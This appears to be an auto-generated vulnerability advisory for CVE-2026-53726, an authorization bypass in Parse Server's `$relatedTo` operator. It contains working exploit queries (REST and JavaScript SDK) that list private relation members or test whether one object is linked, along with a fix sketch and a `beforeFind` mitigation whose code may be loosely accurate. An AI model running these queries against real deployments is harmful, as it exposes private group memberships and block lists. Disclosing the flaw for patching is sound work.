Listen to this Post
How CVE-2026-53726 Works
Parse Server is an open-source backend that can be deployed to any infrastructure capable of running Node.js. Prior to patched versions 8.6.80 and 9.9.1-alpha.6, a critical authorization bypass vulnerability existed in the handling of relation queries using the `$relatedTo` operator.
The flaw resides in the query execution layer. When a client sends a query using $relatedTo, the Parse Server processes the request and reads from the relation join table before performing adequate authorization checks against the owning object. Specifically, the system fails to validate two key access controls: (1) whether the relation field is hidden from the client via `protectedFields` class-level permissions, and (2) whether the client has permission to read the owning object under its Access Control List (ACL) or class-level permissions (CLP).
Crucially, the attack requires only the public API credentials that Parse clients normally carry—no user session, master key, or Cloud Code is needed. An unauthenticated attacker who knows or can obtain the `objectId` of a target owning object can enumerate all objects linked through a protected relation. The attacker can also combine the `$relatedTo` operator with an `objectId` constraint to use it as a membership oracle, confirming whether a specific object is linked to a private parent.
This vulnerability affects applications that rely on `protectedFields` or object ACLs to keep `Relation` membership confidential, such as private group memberships, block lists, or account-to-resource associations. The issue has been patched in versions 8.6.80 and 9.9.1-alpha.6.
DailyCVE Form
Platform: Parse Server
Version: < 8.6.80 / < 9.9.1-alpha.6
Vulnerability: Authorization Bypass
Severity: Medium (CVSS 6.9)
Date: 2026-06-12
Prediction: Patch expected 2026-06-12
What Undercode Say: Analytics
The vulnerability stems from an authorization check ordering flaw in the Parse Server query pipeline. The `$relatedTo` operator is processed and the relation join table is queried before the owning object’s ACL, CLP, and `protectedFields` are evaluated. This allows an attacker to bypass the intended security controls by simply knowing the target objectId.
Vulnerable Query Example (Pre-Patch):
// Attacker query to enumerate members of a private group
const query = new Parse.Query("Group");
query.equalTo("objectId", "PRIVATE_GROUP_ID");
query.include("members"); // Potentially uses $relatedTo internally
// Attacker can also use $relatedTo directly
const relationQuery = new Parse.Query("_User");
relationQuery.equalTo("$relatedTo", {
object: { __type: "Pointer", className: "Group", objectId: "PRIVATE_GROUP_ID" },
key: "members"
});
const results = await relationQuery.find();
Membership Oracle Query:
// Check if a specific user is in a private group
const oracleQuery = new Parse.Query("_User");
oracleQuery.equalTo("objectId", "TARGET_USER_ID");
oracleQuery.equalTo("$relatedTo", {
object: { __type: "Pointer", className: "Group", objectId: "PRIVATE_GROUP_ID" },
key: "members"
});
const isMember = (await oracleQuery.count()) > 0;
Fixed Authorization Logic (Post-Patch):
// The fix now checks protectedFields and owning object readability
// before reading the relation join table
function authorizeRelatedToQuery(owningObject, relationKey, authContext) {
// 1. Check if relation key is protected
if (isProtectedField(owningObject.className, relationKey)) {
throw new Error("Permission denied: relation field is protected");
}
// 2. Check if caller can read the owning object
if (!canReadObject(owningObject, authContext)) {
return []; // Return no results
}
// 3. Proceed with relation query
return executeRelationQuery(owningObject, relationKey);
}
Exploit
Exploitation Steps:
- Identify Target: The attacker needs to know the `objectId` of a private owning object (e.g., a private group, a user’s block list, or a confidential resource).
- Craft Query: The attacker sends a REST API request to `/classes/_User` or any class that has a relation to the target object, using the `$relatedTo` operator.
3. Enumerate or Oracle:
- Enumeration: Query without an `objectId` constraint to list all objects linked to the private parent.
- Oracle: Add an `objectId` constraint to test if a specific object is linked, confirming membership.
Sample Exploit Request (REST API):
GET /classes/_User?where={"$relatedTo":{"object":{"__type":"Pointer","className":"Group","objectId":"PRIVATE_GROUP_123"},"key":"members"}}
X-Parse-Application-Id: YOUR_APP_ID
X-Parse-REST-API-Key: YOUR_REST_API_KEY
Sample Exploit Request (JavaScript SDK):
const query = new Parse.Query("_User");
query.equalTo("$relatedTo", {
object: { __type: "Pointer", className: "Group", objectId: "PRIVATE_GROUP_123" },
key: "members"
});
const members = await query.find({ useMasterKey: false }); // No master key needed!
Protection
Immediate Actions:
- Upgrade Parse Server to version 8.6.80 or later, or 9.9.1-alpha.6 or later.
Workarounds (if unable to upgrade immediately):
- Avoid exposing sensitive membership through `Relation` fields to untrusted clients.
- Enforce access control on the queried class in a `beforeFind` trigger to reject unauthorized `$relatedTo` queries.
Example `beforeFind` Trigger Mitigation:
Parse.Cloud.beforeFind("_User", async (req) => {
const query = req.query;
// Check if the query uses $relatedTo
if (query._where && query._where.$relatedTo) {
const relationTarget = query._where.$relatedTo.object;
const relationKey = query._where.$relatedTo.key;
// Verify the caller can read the owning object
const owningObject = await new Parse.Query(relationTarget.className)
.get(relationTarget.objectId, { useMasterKey: true });
if (!owningObject.acl || !owningObject.acl.getReadAccess(req.user)) {
throw new Parse.Error(Parse.Error.INVALID_QUERY, "Unauthorized relation query");
}
// Check if the relation key is protected
const protectedFields = Parse.Cloud.getProtectedFields(relationTarget.className);
if (protectedFields && protectedFields.includes(relationKey)) {
throw new Parse.Error(Parse.Error.INVALID_QUERY, "Protected relation field");
}
}
});
Impact
- Confidentiality Breach: Unauthenticated attackers can enumerate private relationship data, including group memberships, block lists, and account-to-resource associations.
- Membership Oracle: Attackers can confirm whether a specific object is linked to a private parent, enabling targeted reconnaissance.
- No Authentication Required: Exploitation requires only public API credentials, making it accessible to any client.
- Widespread Applicability: Affects all Parse Server deployments prior to patched versions, regardless of database backend (MongoDB or PostgreSQL).
- CWE Classification: CWE-284 (Improper Access Control) and CWE-639 (Authorization Bypass Through User-Controlled Key).
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

